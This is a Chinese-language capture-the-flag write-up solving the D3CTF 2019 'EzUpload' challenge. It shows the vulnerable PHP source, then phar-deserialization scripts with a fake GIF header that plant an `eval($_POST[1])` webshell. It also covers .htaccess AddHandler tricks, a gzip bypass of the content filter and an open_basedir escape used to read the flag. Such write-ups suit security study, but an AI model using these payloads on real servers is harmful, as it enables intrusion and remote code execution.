[D3CTF 2019]EzUpload

这题打起来麻烦的一批，开了七八九十十一二个靶机才打通，确实给👴打吐了
打开给了源码

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($url,$filename) {
        $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
        $this->url = $url;
        $this->filename  =  $filename;
        if (!file_exists($this->userdir)) {
            mkdir($this->userdir, 0777, true);
        }
    }
    public function checkdir(){
        if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
            die('hacker!!!');
        }
    }
    public function checkurl(){
        $r = parse_url($this->url);
        if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
            die('hacker!!!');
        }
    }
    public function checkext(){
        if (stristr($this->filename,'..')){
            die('hacker!!!');
        }
        if (stristr($this->filename,'/')){
            die('hacker!!!');
        }
        $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
        if (preg_match("/ph/i", $ext)){
            die('hacker!!!');
        }
    }
    public function upload(){
        $this->checkdir();
        $this->checkurl();
        $this->checkext();
        $content = file_get_contents($this->url,NULL,NULL,0,2048);
        if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){ die('hacker!!!'); } file_put_contents($this->userdir."/".$this->filename,$content);
    }
    public function remove(){
        $this->checkdir();
        $this->checkext();
        if (file_exists($this->userdir."/".$this->filename)){
            unlink($this->userdir."/".$this->filename);
        }
    }
    public function count($dir) {
        if ($dir === ''){
            $num = count(scandir($this->userdir)) - 2;
        }
        else {
            $num = count(scandir($dir)) - 2;
        }
        if($num > 0) {
            return "you have $num files";
        }
        else{
            return "you don't have file";
        }
    }
    public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
    }
    public function __destruct() {
        $string = "your file in : ".$this->userdir;
        file_put_contents($this->filename.".txt", $string);
        echo $string;
    }
}
if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
    highlight_file(__FILE__);
    die();
}
$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
    $dir->upload();
}
elseif ($_POST['action'] === "remove") {
    $dir->remove();
}
elseif ($_POST['action'] === "count") {
    if (!isset($_POST['dir'])){
        echo $dir->count('');
    } else {
        echo $dir->count($_POST['dir']);
    }
}

有文件上传点，有反序列化，没过滤phar。phar反序列化
$this->checkext()过滤了php后缀，能上传.htaccess文件，但是会检测文件内容

我们开始了解的知识可以知道.htaccess文件一般的形式都是

<FilesMatch "1.jpg">
 SetHandler application/x-httpd-php
</FilesMatch>

或者

AddType application/x-httpd-php .txt

很明显不太能绕过去，查了下资料，还可以这样解析

AddHandler php7-script .txt

所以思路比较明显了，我们上传一个txt文件解析php就行

这里给了_toSrting()方法，扫了目录，暂时不知道有啥用u1s1，下面会拼接txt。
试了一会儿，发现直接上传触发生成不了文件，所以需要用到scandir函数了。我们需要知道绝对路径，才能正确写入文件

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
}
$d = new dir();
$d->userdir = new dir();
$d->userdir->userdir = "../";
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub，增加gif文件头用以欺骗检测
$phar->setMetadata($d); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
$phar->stopBuffering();

所以得到绝对路径（这里可以不用gzip

然后写入txt文件并触发phar

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
}
$a = new dir("url", "filename");
$a->filename = '/var/www/html/8b5c8441a8ff8e15/upload/adeee0c170ad4ffb110df0cde294aecd/webshell';
$a->userdir = '<?php eval($_POST[1]); phpinfo();';
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub，增加gif文件头用以欺骗检测
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
$phar->stopBuffering();

发现写入不了，老是hacker我。看了下wp发现用gzip压缩下就好了,然后发现触发了phar后写不进去文件。。重试亿次

成功写入，然后写入htaccess
data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0将base64编码的：.htaccess写入
再试亿次，重开亿次靶机，

蚁剑连接，有disablefunction，绕一下

或者
ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));

ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(show_source('/F1aG_1s_H4r4'));

拿到flag

看到官方wp用的是glob+爆破路径，没复现
https://www.anquanke.com/post/id/193939#h3-7

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